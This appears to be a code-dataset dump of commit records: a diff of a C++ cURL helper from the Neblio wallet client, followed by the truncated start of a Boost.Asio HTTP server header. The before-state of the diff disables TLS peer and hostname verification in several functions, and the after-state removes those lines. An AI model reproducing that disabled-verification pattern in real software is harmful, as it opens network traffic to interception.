errorsToIgnore)\n{\n\n#if OPENSSL_VERSION_NUMBER < 0x10100000L\n    boost::call_once(init_openssl_once_flag, SSL_library_init);\n#else\n    boost::call_once(init_openssl_once_flag, OPENSSL_init_ssl, 0,\n                     static_cast<const ossl_init_settings_st*>(NULL));\n#endif\n\n    CURL*    curl;\n    CURLcode res;\n\n    boost::call_once(init_curl_global_once_flag, CurlGlobalInit_ThreadSafe);\n\n    curl = curl_easy_init();\n    boost::filesystem::fstream outputStream(targetPath, std::ios::out | std::ios::binary);\n\n    std::string agent = GetUserAgent();\n    if (curl) {\n\n        CurlCleaner cleaner(curl);\n\n        curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); \/\/ verify ssl peer\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); \/\/ verify ssl hostname\n        curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);\n        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_File);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, \"Dark Secret Ninja\/1.0\");\n        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &outputStream);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, agent.c_str());\n\n        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);\n        curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION, CurlAtomicProgress_CallbackFunc);\n        curl_easy_setopt(curl, CURLOPT_PROGRESSDATA, &progress);\n        \/\/        curl_easy_setopt (curl, CURLOPT_VERBOSE, 1L); \/\/verbose output\n        curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, ConnectionTimeout);\n\n        curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);\n\n        \/* Perform the request, res will get the return code *\/\n        res = curl_easy_perform(curl);\n        \/* Check for errors *\/\n        if (res != CURLE_OK && errorsToIgnore.find(res) == errorsToIgnore.cend()) {\n            std::string errorMsg(curl_easy_strerror(res));\n            printf(\"Curl error: %s\\n\", errorMsg.c_str());\n            throw std::runtime_error(std::string(errorMsg).c_str());\n        } else {\n            long http_response_code;\n            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n            if (http_response_code != 200) {\n                std::string errorMsg(\"Error retrieving data with https protocol from URL \\\"\" + URL +\n                                     \"\\\", error code: \" + ToString(http_response_code) +\n                                     \". Probably the URL is invalid.\");\n                printf(\"Curl http code error: %s\\n\", errorMsg.c_str());\n                throw std::runtime_error(errorMsg);\n            }\n        }\n\n        \/* always cleanup *\/\n        \/\/ This is replaced by a smart cleaning object with the destructor (CurlCleaner)\n        \/\/ curl_easy_cleanup(curl);\n    }\n}\n\nstd::string cURLTools::GetUserAgent()\n{\n    std::string agent;\n#ifdef QT_GUI\n    agent += \"Neblio-Qt\";\n#else\n    agent += \"Neblio\";\n#endif\n    std::string version =\n        std::to_string(CLIENT_VERSION_MAJOR) + \".\" + std::to_string(CLIENT_VERSION_MINOR) + \".\" +\n        std::to_string(CLIENT_VERSION_REVISION) + \".\" + std::to_string(CLIENT_VERSION_BUILD);\n    agent += \"\/\";\n    agent += version;\n    return agent;\n}\n\nstd::string cURLTools::GetFileFromHTTPS(const std::string& URL, long ConnectionTimeout,\n                                        bool IncludeProgressBar)\n{\n\n#if OPENSSL_VERSION_NUMBER < 0x10100000L\n    boost::call_once(init_openssl_once_flag, SSL_library_init);\n#else\n    boost::call_once(init_openssl_once_flag, OPENSSL_init_ssl, 0,\n                     static_cast<const ossl_init_settings_st*>(NULL));\n#endif\n\n    CURL*    curl;\n    CURLcode res;\n\n    boost::call_once(init_curl_global_once_flag, CurlGlobalInit_ThreadSafe);\n\n    curl = curl_easy_init();\n    std::deque<char> s;\n\n    std::string agent = GetUserAgent();\n    if (curl) {\n\n        CurlCleaner cleaner(curl);\n\n        curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); \/\/ verify ssl peer\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); \/\/ verify ssl hostname\n        curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);\n        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, \"Dark Secret Ninja\/1.0\");\n        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, agent.c_str());\n        if (IncludeProgressBar) {\n            curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);\n            curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION, CurlProgress_CallbackFunc);\n        } else {\n            curl_easy_setopt(curl, CURLOPT_NOPROGRESS, true);\n        }\n        \/\/        curl_easy_setopt (curl, CURLOPT_VERBOSE, 1L); \/\/verbose output\n        curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, ConnectionTimeout);\n\n        \/* Perform the request, res will get the return code *\/\n        res = curl_easy_perform(curl);\n        \/* Check for errors *\/\n        if (res != CURLE_OK) {\n            std::string errorMsg(curl_easy_strerror(res));\n            throw std::runtime_error(std::string(errorMsg).c_str());\n        } else {\n            long http_response_code;\n            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n            if (http_response_code != 200) {\n                throw std::runtime_error(\"Error retrieving data with https protocol from URL \\\"\" + URL +\n                                         \"\\\", error code: \" + ToString(http_response_code) +\n                                         \". Probably the URL is invalid.\");\n            }\n        }\n\n        \/* always cleanup *\/\n        \/\/ This is replaced by a smart cleaning object with the destructor (CurlCleaner)\n        \/\/ curl_easy_cleanup(curl);\n    }\n    std::string fileStr(s.begin(), s.end());\n    return fileStr;\n}\n\nstd::string cURLTools::PostJsonToHTTPS(const std::string& URL, long ConnectionTimeout,\n                                       const std::string& readdata, bool chunked)\n{\n#if OPENSSL_VERSION_NUMBER < 0x10100000L\n    boost::call_once(init_openssl_once_flag, SSL_library_init);\n#else\n    boost::call_once(init_openssl_once_flag, OPENSSL_init_ssl, 0,\n                     static_cast<const ossl_init_settings_st*>(NULL));\n#endif\n\n    CURL*    curl;\n    CURLcode res;\n\n    boost::call_once(init_curl_global_once_flag, CurlGlobalInit_ThreadSafe);\n\n    \/* get a curl handle *\/\n    curl = curl_easy_init();\n    std::deque<char> writedata;\n    std::string      agent = GetUserAgent();\n    if (curl) {\n\n        CurlCleaner cleaner(curl);\n\n        struct curl_slist* headers = NULL;\n\n        \/* First set the URL that is about to receive our POST. This URL can\n         just as well be a https:\/\/ URL if that is what should receive the\n         data. *\/\n        curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());\n        \/\/        curl_easy_setopt(curl, CURLOPT_READDATA, &readdata);\n        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &writedata);\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); \/\/ verify ssl peer\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); \/\/ verify ssl hostname\n        curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);\n        curl_easy_setopt(curl, CURLOPT_READFUNCTION, CurlRead_CallbackFunc_StdString);\n        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);\n        \/* Now specify the POST data *\/\n        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, readdata.c_str());\n        curl_easy_setopt(curl, CURLOPT_POST, 1);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, agent.c_str());\n\n        headers = curl_slist_append(headers, \"Content-Type: application\/json\");\n        headers = curl_slist_append(headers, \"charsets: utf-8\");\n\n        \/\/        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); \/\/ verbose output\n        curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, ConnectionTimeout);\n        if (chunked) {\n\n            headers = curl_slist_append(headers, \"Transfer-Encoding: chunked\");\n            \/* use curl_slist_free_all() after the *perform() call to free this\n         list again *\/\n        } else {\n            \/* Set the expected POST size. If you want to POST large amounts of data,\n       consider CURLOPT_POSTFIELDSIZE_LARGE *\/\n            curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (curl_off_t)readdata.size());\n        }\n\n        \/*\n              Using POST with HTTP 1.1 implies the use of a \"Expect: 100-continue\"\n              header.  You can disable this header with CURLOPT_HTTPHEADER as usual.\n              NOTE: if you want chunked transfer too, you need to combine these two\n              since you can only set one list of headers with CURLOPT_HTTPHEADER. *\/\n\n        \/* A less good option would be to enforce HTTP 1.0, but that might also\n               have other implications. *\/\n        const bool disable_expect = false;\n        if (disable_expect) {\n            headers = curl_slist_append(headers, \"Expect:\");\n            \/* use curl_slist_free_all() after the *perform() call to free this\n                 list again *\/\n        }\n\n        res = curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);\n\n        \/* Perform the request, res will get the return code *\/\n        res = curl_easy_perform(curl);\n        \/* Check for errors *\/\n        if (res != CURLE_OK) {\n            std::string errorMsg(curl_easy_strerror(res));\n            throw std::runtime_error(std::string(errorMsg).c_str());\n        } else {\n            long http_response_code;\n            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n            if (http_response_code != 200) {\n                json_spirit::Value errorData;\n                if (json_spirit::read(std::string(writedata.begin(), writedata.end()), errorData)) {\n                    json_spirit::Value errorMsg;\n                    errorMsg = json_spirit::find_value(errorData.get_obj(), \"message\");\n                    throw std::runtime_error(\"Failed to create transaction with error: \" +\n                                             errorMsg.get_str());\n                } else {\n                    throw std::runtime_error(\"Error posting data with https protocol from URL \\\"\" + URL +\n                                             \"\\\", error code: \" + ToString(http_response_code) +\n                                             \". Probably the URL is invalid. Could not retrieve more \"\n                                             \"information on the error.\");\n                }\n            }\n        }\n\n        \/* always cleanup *\/\n        \/\/ This is replaced by a smart cleaning object with the destructor (CurlCleaner)\n        \/\/ curl_easy_cleanup(curl);\n    }\n    std::string fileStr(writedata.begin(), writedata.end());\n    return fileStr;\n}\n<commit_msg>Fix curl options before merge<commit_after>#include \"curltools.h\"\n\n#include \"json_spirit.h\"\n#include \"util.h\"\n#include <boost\/thread.hpp>\n#include <iostream>\n#include <openssl\/ssl.h>\n\nboost::once_flag init_openssl_once_flag     = BOOST_ONCE_INIT;\nboost::once_flag init_curl_global_once_flag = BOOST_ONCE_INIT;\nboost::mutex     curl_global_init_lock;\n\nclass CurlCleaner\n{\n    CURL* curl_obj_to_clean;\n\npublic:\n    CurlCleaner(CURL* Curl_obj_to_clean) : curl_obj_to_clean(Curl_obj_to_clean) {}\n\n    ~CurlCleaner() { curl_easy_cleanup(curl_obj_to_clean); }\n};\n\nsize_t cURLTools::CurlWrite_CallbackFunc_StdString(void* contents, size_t size, size_t nmemb,\n                                                   std::deque<char>* s)\n{\n    size_t newLength = size * nmemb;\n    size_t oldLength = s->size();\n    try {\n        s->resize(oldLength + newLength);\n    } catch (std::bad_alloc& e) {\n        std::stringstream msg;\n        msg << \"Error allocating memory: \" << e.what() << std::endl;\n        printf(\"%s\", msg.str().c_str());\n        return 0;\n    }\n\n    std::copy((char*)contents, (char*)contents + newLength, s->begin() + oldLength);\n    return size * nmemb;\n}\n\nsize_t cURLTools::CurlRead_CallbackFunc_StdString(void* dest, size_t \/*size*\/, size_t \/*nmemb*\/,\n                                                  void* userp)\n{\n    std::string* from = (std::string*)userp;\n    std::string* to   = (std::string*)dest;\n\n    std::copy(from->begin(), from->end(), std::back_inserter(*to));\n\n    return 0; \/* no more data left to deliver *\/\n}\n\nsize_t cURLTools::CurlWrite_CallbackFunc_File(void* contents, size_t size, size_t nmemb,\n                                              boost::filesystem::fstream* fs)\n{\n    size_t newLength = size * nmemb;\n    fs->write(reinterpret_cast<char*>(contents), newLength);\n    return size * nmemb;\n}\n\nint cURLTools::CurlProgress_CallbackFunc(void*, double TotalToDownload, double NowDownloaded,\n                                         double \/*TotalToUpload*\/, double \/*NowUploaded*\/)\n{\n    std::clog << \"Download progress: \" << ToString(NowDownloaded) << \" \/ \" << ToString(TotalToDownload)\n              << std::endl;\n    return CURLE_OK;\n}\n\nint cURLTools::CurlAtomicProgress_CallbackFunc(void* number, double TotalToDownload,\n                                               double NowDownloaded, double \/*TotalToUpload*\/,\n                                               double \/*NowUploaded*\/)\n{\n    std::atomic<float>* progress = reinterpret_cast<std::atomic<float>*>(number);\n    float               val      = 0;\n    if (TotalToDownload > 0.) {\n        val = static_cast<float>(100. * NowDownloaded \/ TotalToDownload);\n        if (val < 0.0001) {\n            val = 0;\n        }\n    }\n    progress->store(val, std::memory_order_relaxed);\n    return CURLE_OK;\n}\n\nvoid cURLTools::CurlGlobalInit_ThreadSafe()\n{\n    boost::lock_guard<boost::mutex> lg(curl_global_init_lock);\n    curl_global_init(CURL_GLOBAL_DEFAULT);\n}\n\nvoid cURLTools::GetLargeFileFromHTTPS(const std::string& URL, long ConnectionTimeout,\n                                      const boost::filesystem::path& targetPath,\n                                      std::atomic<float>&            progress,\n                                      const std::set<CURLcode>&      errorsToIgnore)\n{\n\n#if OPENSSL_VERSION_NUMBER < 0x10100000L\n    boost::call_once(init_openssl_once_flag, SSL_library_init);\n#else\n    boost::call_once(init_openssl_once_flag, OPENSSL_init_ssl, 0,\n                     static_cast<const ossl_init_settings_st*>(NULL));\n#endif\n\n    CURL*    curl;\n    CURLcode res;\n\n    boost::call_once(init_curl_global_once_flag, CurlGlobalInit_ThreadSafe);\n\n    curl = curl_easy_init();\n    boost::filesystem::fstream outputStream(targetPath, std::ios::out | std::ios::binary);\n\n    std::string agent = GetUserAgent();\n    if (curl) {\n\n        CurlCleaner cleaner(curl);\n\n        curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());\n        curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);\n        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_File);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, \"Dark Secret Ninja\/1.0\");\n        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &outputStream);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, agent.c_str());\n\n        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);\n        curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION, CurlAtomicProgress_CallbackFunc);\n        curl_easy_setopt(curl, CURLOPT_PROGRESSDATA, &progress);\n        \/\/        curl_easy_setopt (curl, CURLOPT_VERBOSE, 1L); \/\/verbose output\n        curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, ConnectionTimeout);\n\n        curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);\n\n        \/* Perform the request, res will get the return code *\/\n        res = curl_easy_perform(curl);\n        \/* Check for errors *\/\n        if (res != CURLE_OK && errorsToIgnore.find(res) == errorsToIgnore.cend()) {\n            std::string errorMsg(curl_easy_strerror(res));\n            printf(\"Curl error: %s\\n\", errorMsg.c_str());\n            throw std::runtime_error(std::string(errorMsg).c_str());\n        } else {\n            long http_response_code;\n            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n            if (http_response_code != 200) {\n                std::string errorMsg(\"Error retrieving data with https protocol from URL \\\"\" + URL +\n                                     \"\\\", error code: \" + ToString(http_response_code) +\n                                     \". Probably the URL is invalid.\");\n                printf(\"Curl http code error: %s\\n\", errorMsg.c_str());\n                throw std::runtime_error(errorMsg);\n            }\n        }\n\n        \/* always cleanup *\/\n        \/\/ This is replaced by a smart cleaning object with the destructor (CurlCleaner)\n        \/\/ curl_easy_cleanup(curl);\n    }\n}\n\nstd::string cURLTools::GetUserAgent()\n{\n    std::string agent;\n#ifdef QT_GUI\n    agent += \"Neblio-Qt\";\n#else\n    agent += \"Neblio\";\n#endif\n    std::string version =\n        std::to_string(CLIENT_VERSION_MAJOR) + \".\" + std::to_string(CLIENT_VERSION_MINOR) + \".\" +\n        std::to_string(CLIENT_VERSION_REVISION) + \".\" + std::to_string(CLIENT_VERSION_BUILD);\n    agent += \"\/\";\n    agent += version;\n    return agent;\n}\n\nstd::string cURLTools::GetFileFromHTTPS(const std::string& URL, long ConnectionTimeout,\n                                        bool IncludeProgressBar)\n{\n\n#if OPENSSL_VERSION_NUMBER < 0x10100000L\n    boost::call_once(init_openssl_once_flag, SSL_library_init);\n#else\n    boost::call_once(init_openssl_once_flag, OPENSSL_init_ssl, 0,\n                     static_cast<const ossl_init_settings_st*>(NULL));\n#endif\n\n    CURL*    curl;\n    CURLcode res;\n\n    boost::call_once(init_curl_global_once_flag, CurlGlobalInit_ThreadSafe);\n\n    curl = curl_easy_init();\n    std::deque<char> s;\n\n    std::string agent = GetUserAgent();\n    if (curl) {\n\n        CurlCleaner cleaner(curl);\n\n        curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());\n        curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);\n        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, \"Dark Secret Ninja\/1.0\");\n        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, agent.c_str());\n        if (IncludeProgressBar) {\n            curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);\n            curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION, CurlProgress_CallbackFunc);\n        } else {\n            curl_easy_setopt(curl, CURLOPT_NOPROGRESS, true);\n        }\n        \/\/        curl_easy_setopt (curl, CURLOPT_VERBOSE, 1L); \/\/verbose output\n        curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, ConnectionTimeout);\n\n        \/* Perform the request, res will get the return code *\/\n        res = curl_easy_perform(curl);\n        \/* Check for errors *\/\n        if (res != CURLE_OK) {\n            std::string errorMsg(curl_easy_strerror(res));\n            throw std::runtime_error(std::string(errorMsg).c_str());\n        } else {\n            long http_response_code;\n            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n            if (http_response_code != 200) {\n                throw std::runtime_error(\"Error retrieving data with https protocol from URL \\\"\" + URL +\n                                         \"\\\", error code: \" + ToString(http_response_code) +\n                                         \". Probably the URL is invalid.\");\n            }\n        }\n\n        \/* always cleanup *\/\n        \/\/ This is replaced by a smart cleaning object with the destructor (CurlCleaner)\n        \/\/ curl_easy_cleanup(curl);\n    }\n    std::string fileStr(s.begin(), s.end());\n    return fileStr;\n}\n\nstd::string cURLTools::PostJsonToHTTPS(const std::string& URL, long ConnectionTimeout,\n                                       const std::string& readdata, bool chunked)\n{\n#if OPENSSL_VERSION_NUMBER < 0x10100000L\n    boost::call_once(init_openssl_once_flag, SSL_library_init);\n#else\n    boost::call_once(init_openssl_once_flag, OPENSSL_init_ssl, 0,\n                     static_cast<const ossl_init_settings_st*>(NULL));\n#endif\n\n    CURL*    curl;\n    CURLcode res;\n\n    boost::call_once(init_curl_global_once_flag, CurlGlobalInit_ThreadSafe);\n\n    \/* get a curl handle *\/\n    curl = curl_easy_init();\n    std::deque<char> writedata;\n    std::string      agent = GetUserAgent();\n    if (curl) {\n\n        CurlCleaner cleaner(curl);\n\n        struct curl_slist* headers = NULL;\n\n        \/* First set the URL that is about to receive our POST. This URL can\n         just as well be a https:\/\/ URL if that is what should receive the\n         data. *\/\n        curl_easy_setopt(curl, CURLOPT_URL, URL.c_str());\n        \/\/        curl_easy_setopt(curl, CURLOPT_READDATA, &readdata);\n        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &writedata);\n        curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);\n        curl_easy_setopt(curl, CURLOPT_READFUNCTION, CurlRead_CallbackFunc_StdString);\n        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);\n        \/* Now specify the POST data *\/\n        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, readdata.c_str());\n        curl_easy_setopt(curl, CURLOPT_POST, 1);\n        curl_easy_setopt(curl, CURLOPT_USERAGENT, agent.c_str());\n\n        headers = curl_slist_append(headers, \"Content-Type: application\/json\");\n        headers = curl_slist_append(headers, \"charsets: utf-8\");\n\n        \/\/        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); \/\/ verbose output\n        curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, ConnectionTimeout);\n        if (chunked) {\n\n            headers = curl_slist_append(headers, \"Transfer-Encoding: chunked\");\n            \/* use curl_slist_free_all() after the *perform() call to free this\n         list again *\/\n        } else {\n            \/* Set the expected POST size. If you want to POST large amounts of data,\n       consider CURLOPT_POSTFIELDSIZE_LARGE *\/\n            curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (curl_off_t)readdata.size());\n        }\n\n        \/*\n              Using POST with HTTP 1.1 implies the use of a \"Expect: 100-continue\"\n              header.  You can disable this header with CURLOPT_HTTPHEADER as usual.\n              NOTE: if you want chunked transfer too, you need to combine these two\n              since you can only set one list of headers with CURLOPT_HTTPHEADER. *\/\n\n        \/* A less good option would be to enforce HTTP 1.0, but that might also\n               have other implications. *\/\n        const bool disable_expect = false;\n        if (disable_expect) {\n            headers = curl_slist_append(headers, \"Expect:\");\n            \/* use curl_slist_free_all() after the *perform() call to free this\n                 list again *\/\n        }\n\n        res = curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);\n\n        \/* Perform the request, res will get the return code *\/\n        res = curl_easy_perform(curl);\n        \/* Check for errors *\/\n        if (res != CURLE_OK) {\n            std::string errorMsg(curl_easy_strerror(res));\n            throw std::runtime_error(std::string(errorMsg).c_str());\n        } else {\n            long http_response_code;\n            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_response_code);\n            if (http_response_code != 200) {\n                json_spirit::Value errorData;\n                if (json_spirit::read(std::string(writedata.begin(), writedata.end()), errorData)) {\n                    json_spirit::Value errorMsg;\n                    errorMsg = json_spirit::find_value(errorData.get_obj(), \"message\");\n                    throw std::runtime_error(\"Failed to create transaction with error: \" +\n                                             errorMsg.get_str());\n                } else {\n                    throw std::runtime_error(\"Error posting data with https protocol from URL \\\"\" + URL +\n                                             \"\\\", error code: \" + ToString(http_response_code) +\n                                             \". Probably the URL is invalid. Could not retrieve more \"\n                                             \"information on the error.\");\n                }\n            }\n        }\n\n        \/* always cleanup *\/\n        \/\/ This is replaced by a smart cleaning object with the destructor (CurlCleaner)\n        \/\/ curl_easy_cleanup(curl);\n    }\n    std::string fileStr(writedata.begin(), writedata.end());\n    return fileStr;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef SERVER_HTTP_HPP\n#define\tSERVER_HTTP_HPP\n\n#include <boost\/asio.hpp>\n#include <boost\/asio\/spawn.hpp>\n#include <boost\/regex.hpp>\n\n#include <unordered_map>\n#include <thread>\n#include <functional>\n#include <iostream>\n#include <sstream>\n\nnamespace SimpleWeb {\n    template <class socket_type>\n    class ServerBase {\n    public:\n        class Response : public std::ostream {\n            friend class ServerBase<socket_type>;\n        private:\n            boost::asio::yield_context& yield;\n            \n            boost::asio::streambuf streambuf;\n\n            socket_type &socket;\n            \n            Response(socket_type &socket, boost::asio::yield_context& yield):\n                    std::ostream(&streambuf), yield(yield), socket(socket) {}\n                        \n        public:\n            size_t size() {\n                return streambuf.size();\n            }\n            void flush() {\n                boost::system::error_code ec;\n                boost::asio::async_write(socket, streambuf, yield[ec]);\n                \n                if(ec)\n                    throw std::runtime_error(ec.message());\n            }\n        };\n        \n        class Content : public std::istream {\n            friend class ServerBase<socket_type>;\n        public:\n            size_t size() {\n                return streambuf.size();\n            }\n            std::string string() {\n                std::stringstream ss;\n                ss << rdbuf();\n                return ss.str();\n            }\n        private:\n            boost::asio::streambuf &streambuf;\n            Content(boost::asio::streambuf &streambuf): std::istream(&streambuf), streambuf(streambuf) {}\n        };\n        \n        class Request {\n            friend class ServerBase<socket_type>;\n        public:\n            std::string method, path, http_version;\n\n            Content content;\n\n            std::unordered_multimap<std::string, std::string> header;\n\n            boost::smatch path_match;\n            \n            std::string remote_endpoint_address;\n            unsigned short remote_endpoint_port;\n            \n        private:\n            Request(boost::asio::io_service &io_service): content(streambuf), strand(io_service) {}\n            \n            boost::asio::streambuf streambuf;\n            \n            boost::asio::strand strand;\n            \n            void read_remote_endpoint_data(socket_type& socket) {\n                try {\n                    remote_endpoint_address=socket.lowest_layer().remote_endpoint().address().to_string();\n                    remote_endpoint_port=socket.lowest_layer().remote_endpoint().port();\n                }\n                catch(const std::exception& e) {}\n            }\n        };\n        \n        class Config {\n            friend class ServerBase<socket_type>;\n        private:\n            Config(unsigned short port, size_t num_threads): port(port), num_threads(num_threads) {}\n            unsigned short port;\n            size_t num_threads;\n        public:\n            \/\/\/IPv4 address in dotted decimal form or IPv6 address in hexadecimal notation.\n            \/\/\/If empty, the address will be any address.\n            std::string address;\n            \/\/\/Set to false to avoid binding the socket to an address that is already in use.\n            bool reuse_address=true;\n        };\n        \/\/\/Set before calling start().\n        Config config;\n        \n        std::unordered_map<std::string, std::unordered_map<std::string, \n            std::function<void(typename ServerBase<socket_type>::Response&, std::shared_ptr<typename ServerBase<socket_type>::Request>)> > >  resource;\n        \n        std::unordered_map<std::string, \n            std::function<void(typename ServerBase<socket_type>::Response&, std::shared_ptr<typename ServerBase<socket_type>::Request>)> > default_resource;\n\n    private:\n        std::vector<std::pair<std::string, std::vector<std::pair<boost::regex,\n            std::function<void(typename ServerBase<socket_type>::Response&, std::shared_ptr<typename ServerBase<socket_type>::Request>)> > > > > opt_resource;\n        \n    public:\n        void start() {\n            \/\/Copy the resources to opt_resource for more efficient request processing\n            opt_resource.clear();\n            for(auto& res: resource) {\n                for(auto& res_method: res.second) {\n                    auto it=opt_resource.end();\n                    for(auto opt_it=opt_resource.begin();opt_it!=opt_resource.end();opt_it++) {\n                        if(res_method.first==opt_it->first) {\n                            it=opt_it;\n                            break;\n                        }\n                    }\n                    if(it==opt_resource.end()) {\n                        opt_resource.emplace_back();\n                        it=opt_resource.begin()+(opt_resource.size()-1);\n                        it->first=res_method.first;\n                    }\n                    it->second.emplace_back(boost::regex(res.first), res_method.second);\n                }\n            }\n\n            if(io_service.stopped())\n                io_service.reset();\n\n            boost::asio::ip::tcp::endpoint endpoint;\n            if(config.address.size()>0)\n                endpoint=boost::asio::ip::tcp::endpoint(boost::asio::ip::address::from_string(config.address), config.port);\n            else\n                endpoint=boost::asio::ip::tcp::endpoint(boost::asio::ip::tcp::v4(), config.port);\n            acceptor.open(endpoint.protocol());\n            acceptor.set_option(boost::asio::socket_base::reuse_address(config.reuse_address));\n            acceptor.bind(endpoint);\n            acceptor.listen();\n     \n            accept(); \n            \n            \/\/If num_threads>1, start m_io_service.run() in (num_threads-1) threads for thread-pooling\n            threads.clear();\n            for(size_t c=1;c<config.num_threads;c++) {\n                threads.emplace_back([this](){\n                    io_service.run();\n                });\n            }\n\n            \/\/Main thread\n            io_service.run();\n\n            \/\/Wait for the rest of the threads, if any, to finish as well\n            for(auto& t: threads) {\n                t.join();\n            }\n        }\n        \n        void stop() {\n            acceptor.close();\n            io_service.stop();\n        }\n\n    protected:\n        boost::asio::io_service io_service;\n        boost::asio::ip::tcp::acceptor acceptor;\n        std::vector<std::thread> threads;\n        \n        size_t timeout_request;\n        size_t timeout_content;\n        \n        ServerBase(unsigned short port, size_t num_threads, size_t timeout_request, size_t timeout_send_or_receive) : \n                config(port, num_threads), acceptor(io_service),\n                timeout_request(timeout_request), timeout_content(timeout_send_or_receive) {}\n        \n        virtual void accept()=0;\n        \n        std::shared_ptr<boost::asio::deadline_timer> set_timeout_on_socket(std::shared_ptr<socket_type> socket, size_t seconds) {\n            std::shared_ptr<boost::asio::deadline_timer> timer(new boost::asio::deadline_timer(io_service));\n            timer->expires_from_now(boost::posix_time::seconds(seconds));\n            timer->async_wait([socket](const boost::system::error_code& ec){\n                if(!ec) {\n                    boost::system::error_code ec;\n                    socket->lowest_layer().shutdown(boost::asio::ip::tcp::socket::shutdown_both, ec);\n                    socket->lowest_layer().close();\n                }\n            });\n            return timer;\n        }\n        \n        std::shared_ptr<boost::asio::deadline_timer> set_timeout_on_socket(std::shared_ptr<socket_type> socket, std::shared_ptr<Request> request, size_t seconds) {\n            std::shared_ptr<boost::asio::deadline_timer> timer(new boost::asio::deadline_timer(io_service));\n            timer->expires_from_now(boost::posix_time::seconds(seconds));\n            timer->async_wait(request->strand.wrap([socket](const boost::system::error_code& ec){\n                if(!ec) {\n                    boost::system::error_code ec;\n                    socket->lowest_layer().shutdown(boost::asio::ip::tcp::socket::shutdown_both, ec);\n                    socket->lowest_layer().close();\n                }\n            }));\n            return timer;\n        }\n        \n        void read_request_and_content(std::shared_ptr<socket_type> socket) {\n            \/\/Create new streambuf (Request::streambuf) for async_read_until()\n            \/\/shared_ptr is used to pass temporary objects to the asynchronous functions\n            std::shared_ptr<Request> request(new Request(io_service));\n            request->read_remote_endpoint_data(*socket);\n\n            \/\/Set timeout on the following boost::asio::async-read or write function\n            std::shared_ptr<boost::asio::deadline_timer> timer;\n            if(timeout_request>0)\n                timer=set_timeout_on_socket(socket, timeout_request);\n                        \n            boost::asio::async_read_until(*socket, request->streambuf, \"\\r\\n\\r\\n\",\n                    [this, socket, request, timer](const boost::system::error_code& ec, size_t bytes_transferred) {\n                if(timeout_request>0)\n                    timer->cancel();\n                if(!ec) {\n                    